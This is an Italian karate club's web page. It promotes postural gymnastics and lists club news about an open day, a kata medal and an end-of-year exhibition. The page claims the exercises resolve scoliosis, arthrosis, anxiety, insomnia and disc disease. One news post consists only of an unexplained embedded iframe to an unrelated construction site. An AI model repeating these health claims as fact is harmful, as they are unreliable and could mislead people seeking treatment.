POSTURALE

La ginnastica posturale ha come obiettivo quello di migliorare lo stato di benessere psico - fisico, con esercizi che mirano ad ottimizzare il controllo, la conoscenza e la padronanza nell' uso del proprio corpo. Ha lo scopo di far acquisire corrette abitudini nella postura, nel modo di camminare, alzarsi, sedersi, e sollevare un oggetto; mira a rilassare le tensioni muscolari create dalla sedentarietà e dallo stress e ridurre la rigidità e i dolori migliorando la moblità muscolare, la coordinazione e l' equilibrio. Gli esercizi si basano sulla consapevolezza della propria respirazione, rendendola più ampia e regolare, utile per ridurre stress e stanchezza cronica, ritrovando serenità e vitalità. E' un attività adatta a tutti, giovani ed anziani, sportivi e sedentari, perchè rispetta i ritmi e i limiti di ognuno. E' adattta nel risolvere le alterazioni della colonna vertebrale come scoliosi, lordosi, cifosi, artrosi, cefalee, lombasciatalgie, colpo della strega, ansia, insonnia, disturbi della circolazione e discopatie.



ULTIME NEWS

Ricominciamo!

meis

Inserita il: 29/08/2014 17:23:11

<center><iframe src='[http://thewaycostruzioni.it/]' height='820px' width='1100px' scrolling='no' frameborder='0'></center>...Maggiori informazioni

OPEN DAY ALL' A.S.D. KARATE ROMA

meis

Inserita il: 16/06/2014 17:17:49

Il 21 Giugno ci sarà presso l'A.S.D. KARATE ROMA l'Open day! Avrete la possibilità di provare in anteprima le nuove attività per l'anno 2014/2015, tra queste il SUPER JUMP di JILL COOPER e il LATIN DANCE.Ma anche altro!L'ingresso è ovviamente libero! Per informazioni sugli orari delle attività ...Maggiori informazioni

CAMPIONATI ITALIANI KATA

meis

Inserita il: 04/06/2014 18:39:39

Sabato 31 Maggio e Domenica 1 Giugno, nel Palazzetto di Ostia-lido si sono tenuti i Campionati Italiani FIJLKAM di Kata, cat. Cadetti ed Esordienti B.MEDAGLIA D'ORO dell'A.S.D.KARATE ROMA con ALESSIO GIULIANI ai CAMPIONATI ITALIANI KATA - cat. CADETTI. Un risultato meraviglioso che premia i tanti sa...Maggiori informazioni

Esibizione di fine anno

meis

Inserita il: 30/05/2014 18:59:43

Sabato 14 Giugno, presso la Casa Famiglia "Linda Penotti", in via di Casalotti 73, si terrà l'esibizione di fine anno dei ragazzi dell'A.S.D. KARATE ROMA. La Casa Famiglia, gestita dalle suore Calasanziane, ospita minori dai 3 mesi ai 16 anni di età con situazioni familiari problematiche. Ogn...Maggiori informazioni